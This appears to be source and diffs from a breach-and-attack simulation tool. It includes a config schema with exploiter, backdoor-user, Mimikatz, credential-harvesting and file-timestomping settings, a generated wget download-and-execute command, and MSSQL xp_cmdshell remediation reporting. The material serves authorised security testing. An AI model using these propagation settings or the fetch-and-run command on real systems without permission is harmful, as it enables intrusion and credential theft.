"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
},
"post_breach_actions": {
"title": "Post breach actions",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
"BackdoorUser",
],
"description": "List of actions the Monkey will run post breach"
},
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
},
'aws_config': {
'title': 'AWS Configuration',
'type': 'object',
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
'properties': {
'aws_account_id': {
'title': 'AWS account ID',
'type': 'string',
'description': 'Your AWS account ID that is subscribed to security hub feeds',
'default': ''
},
'aws_access_key_id': {
'title': 'AWS access key ID',
'type': 'string',
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
'default': ''
},
'aws_secret_access_key': {
'title': 'AWS secret access key',
'type': 'string',
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
'default': ''
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"MSSQLExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"user_to_add": {
"title": "Remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"remote_user_pass": {
"title": "Remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 0,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}

View File

@ -6,6 +6,7 @@ import cc.services.log
from cc.database import mongo from cc.database import mongo
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
import socket
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -41,6 +42,7 @@ class NodeService:
# node is uninfected # node is uninfected
new_node = NodeService.node_to_net_node(node, for_report) new_node = NodeService.node_to_net_node(node, for_report)
new_node["ip_addresses"] = node["ip_addresses"] new_node["ip_addresses"] = node["ip_addresses"]
new_node["domain_name"] = node["domain_name"]
for edge in edges: for edge in edges:
accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))) accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
@ -62,7 +64,10 @@ class NodeService:
@staticmethod @staticmethod
def get_node_label(node): def get_node_label(node):
return node["os"]["version"] + " : " + node["ip_addresses"][0] domain_name = ""
if node["domain_name"]:
domain_name = " ("+node["domain_name"]+")"
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
@staticmethod @staticmethod
def _cmp_exploits_by_timestamp(exploit_1, exploit_2): def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
@ -137,6 +142,7 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey), "group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey), "os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"], "dead": monkey["dead"],
"domain_name": ""
} }
@staticmethod @staticmethod
@ -176,10 +182,11 @@ class NodeService:
upsert=False) upsert=False)
@staticmethod @staticmethod
def insert_node(ip_address): def insert_node(ip_address, domain_name=''):
new_node_insert_result = mongo.db.node.insert_one( new_node_insert_result = mongo.db.node.insert_one(
{ {
"ip_addresses": [ip_address], "ip_addresses": [ip_address],
"domain_name": domain_name,
"exploited": False, "exploited": False,
"creds": [], "creds": [],
"os": "os":
@ -191,10 +198,10 @@ class NodeService:
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod @staticmethod
def get_or_create_node(ip_address): def get_or_create_node(ip_address, domain_name=''):
new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
if new_node is None: if new_node is None:
new_node = NodeService.insert_node(ip_address) new_node = NodeService.insert_node(ip_address, domain_name)
return new_node return new_node
@staticmethod @staticmethod
@ -261,6 +268,7 @@ class NodeService:
def get_monkey_island_node(): def get_monkey_island_node():
island_node = NodeService.get_monkey_island_pseudo_net_node() island_node = NodeService.get_monkey_island_pseudo_net_node()
island_node["ip_addresses"] = local_ip_addresses() island_node["ip_addresses"] = local_ip_addresses()
island_node["domain_name"] = socket.gethostname()
return island_node return island_node
@staticmethod @staticmethod

View File

@ -3,13 +3,14 @@ import functools
import ipaddress import ipaddress
import logging import logging
from bson import json_util
from enum import Enum from enum import Enum
from six import text_type from six import text_type
from cc.database import mongo from cc.database import mongo
from cc.environment.environment import load_env_from_file, AWS from cc.report_exporter_manager import ReportExporterManager
from cc.resources.aws_exporter import AWSExporter
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
@ -39,7 +40,8 @@ class ReportService:
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter' 'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -54,7 +56,8 @@ class ReportService:
STRUTS2 = 8 STRUTS2 = 8
WEBLOGIC = 9 WEBLOGIC = 9
HADOOP = 10 HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11 PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -128,7 +131,8 @@ class ReportService:
list((x['hostname'] for x in list((x['hostname'] for x in
(NodeService.get_displayed_node_by_id(edge['from'], True) (NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'] 'services': node['services'],
'domain_name': node['domain_name']
}) })
logger.info('Scanned nodes generated for reporting') logger.info('Scanned nodes generated for reporting')
@ -148,6 +152,7 @@ class ReportService:
{ {
'label': monkey['label'], 'label': monkey['label'],
'ip_addresses': monkey['ip_addresses'], 'ip_addresses': monkey['ip_addresses'],
'domain_name': monkey['domain_name'],
'exploits': list(set( 'exploits': list(set(
[ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
exploit['result']])) exploit['result']]))
@ -328,6 +333,12 @@ class ReportService:
processed_exploit['type'] = 'hadoop' processed_exploit['type'] = 'hadoop'
return processed_exploit return processed_exploit
@staticmethod
def process_mssql_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'mssql'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -342,7 +353,8 @@ class ReportService:
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit 'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -570,6 +582,7 @@ class ReportService:
PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues PTHReportService.get_strong_users_on_crit_issues
] ]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
issues_dict = {} issues_dict = {}
@ -642,6 +655,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic': elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'] == 'mssql':
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop': elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
@ -677,9 +692,7 @@ class ReportService:
@staticmethod @staticmethod
def is_report_generated(): def is_report_generated():
generated_report = mongo.db.report.find_one({}) generated_report = mongo.db.report.find_one({})
if generated_report is None: return generated_report is not None
return False
return True
@staticmethod @staticmethod
def generate_report(): def generate_report():
@ -726,14 +739,29 @@ class ReportService:
'latest_monkey_modifytime': monkey_latest_modify_time 'latest_monkey_modifytime': monkey_latest_modify_time
} }
} }
ReportService.export_to_exporters(report) ReportExporterManager().export(report)
mongo.db.report.drop() mongo.db.report.drop()
mongo.db.report.insert_one(report) mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report))
return report return report
@staticmethod
def encode_dot_char_before_mongo_insert(report_dict):
"""
mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode
,,, combo instead.
:return: dict with formatted keys with no dots.
"""
report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
return json_util.loads(report_as_json)
@staticmethod @staticmethod
def is_latest_report_exists(): def is_latest_report_exists():
"""
This function checks if a monkey report was already generated and if it's the latest one.
:return: True if report is the latest one, False if there isn't a report or its not the latest.
"""
latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
if latest_report_doc: if latest_report_doc:
@ -743,10 +771,19 @@ class ReportService:
return False return False
@staticmethod
def decode_dot_char_before_mongo_insert(report_dict):
"""
this function replaces the ',,,' combo with the '.' char instead.
:return: report dict with formatted keys (',,,' -> '.')
"""
report_as_json = json_util.dumps(report_dict).replace(',,,', '.')
return json_util.loads(report_as_json)
@staticmethod @staticmethod
def get_report(): def get_report():
if ReportService.is_latest_report_exists(): if ReportService.is_latest_report_exists():
return mongo.db.report.find_one() return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
return ReportService.generate_report() return ReportService.generate_report()
@staticmethod @staticmethod
@ -754,16 +791,3 @@ class ReportService:
return mongo.db.edge.count( return mongo.db.edge.count(
{'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}},
limit=1) > 0 limit=1) > 0
@staticmethod
def get_active_exporters():
# This function should be in another module in charge of building a list of active exporters
exporters_list = []
if str(load_env_from_file()) == AWS:
exporters_list.append(AWSExporter)
return exporters_list
@staticmethod
def export_to_exporters(report):
for exporter in ReportService.get_active_exporters():
exporter.handle_report(report)

View File

@ -13,11 +13,18 @@ class WMIHandler(object):
self.monkey_id = monkey_id self.monkey_id = monkey_id
self.info_for_mongo = {} self.info_for_mongo = {}
self.users_secrets = user_secrets self.users_secrets = user_secrets
self.users_info = wmi_info['Win32_UserAccount'] if not wmi_info:
self.groups_info = wmi_info['Win32_Group'] self.users_info = ""
self.groups_and_users = wmi_info['Win32_GroupUser'] self.groups_info = ""
self.services = wmi_info['Win32_Service'] self.groups_and_users = ""
self.products = wmi_info['Win32_Product'] self.services = ""
self.products = ""
else:
self.users_info = wmi_info['Win32_UserAccount']
self.groups_info = wmi_info['Win32_Group']
self.groups_and_users = wmi_info['Win32_GroupUser']
self.services = wmi_info['Win32_Service']
self.products = wmi_info['Win32_Product']
def process_and_handle_wmi_info(self): def process_and_handle_wmi_info(self):
@ -25,7 +32,8 @@ class WMIHandler(object):
self.add_users_to_collection() self.add_users_to_collection()
self.create_group_user_connection() self.create_group_user_connection()
self.insert_info_to_mongo() self.insert_info_to_mongo()
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) if self.info_for_mongo:
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
self.update_admins_retrospective() self.update_admins_retrospective()
self.update_critical_services() self.update_critical_services()

View File

@ -29,7 +29,8 @@ class ReportPageComponent extends AuthComponent {
STRUTS2: 8, STRUTS2: 8,
WEBLOGIC: 9, WEBLOGIC: 9,
HADOOP: 10, HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11 PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
}; };
Warning = Warning =
@ -104,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
res.edges.forEach(edge => { res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group); edge.color = {'color': edgeGroupToColor(edge.group)};
}); });
this.setState({graph: res}); this.setState({graph: res});
this.props.onStatusChange(); this.props.onStatusChange();
@ -341,6 +342,8 @@ class ReportPageComponent extends AuthComponent {
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null } <li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
{this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
</ul> </ul>
</div> </div>
: :
@ -412,7 +415,6 @@ class ReportPageComponent extends AuthComponent {
<div> <div>
{this.generateIssues(this.state.report.recommendations.issues)} {this.generateIssues(this.state.report.recommendations.issues)}
</div> </div>
</div> </div>
); );
} }
@ -867,7 +869,23 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateMSSQLIssue(issue) {
return(
<li>
Disable the xp_cmdshell option.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">MSSQL exploit attack</span>.
<br/>
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a
href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
Microsoft's documentation. </a>
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
let data; let data;
@ -935,6 +953,9 @@ class ReportPageComponent extends AuthComponent {
case 'hadoop': case 'hadoop':
data = this.generateHadoopIssue(issue); data = this.generateHadoopIssue(issue);
break; break;
case 'mssql':
data = this.generateMSSQLIssue(issue);
break;
} }
return data; return data;
}; };

View File

@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
generateLinuxCmd(ip, is32Bit) { generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64'; let bitText = is32Bit ? '32' : '64';
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
} }
generateWindowsCmd(ip, is32Bit) { generateWindowsCmd(ip, is32Bit) {

View File

@ -5,12 +5,17 @@ let renderArray = function(val) {
return <div>{val.map(x => <div>{x}</div>)}</div>; return <div>{val.map(x => <div>{x}</div>)}</div>;
}; };
let renderIpAddresses = function (val) {
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
};
const columns = [ const columns = [
{ {
Header: 'Breached Servers', Header: 'Breached Servers',
columns: [ columns: [
{Header: 'Machine', accessor: 'label'}, {Header: 'Machine', accessor: 'label'},
{Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, {Header: 'IP Addresses', id: 'ip_addresses',
accessor: x => renderIpAddresses(x)},
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
] ]
} }

View File

@ -5,12 +5,17 @@ let renderArray = function(val) {
return <div>{val.map(x => <div>{x}</div>)}</div>; return <div>{val.map(x => <div>{x}</div>)}</div>;
}; };
let renderIpAddresses = function (val) {
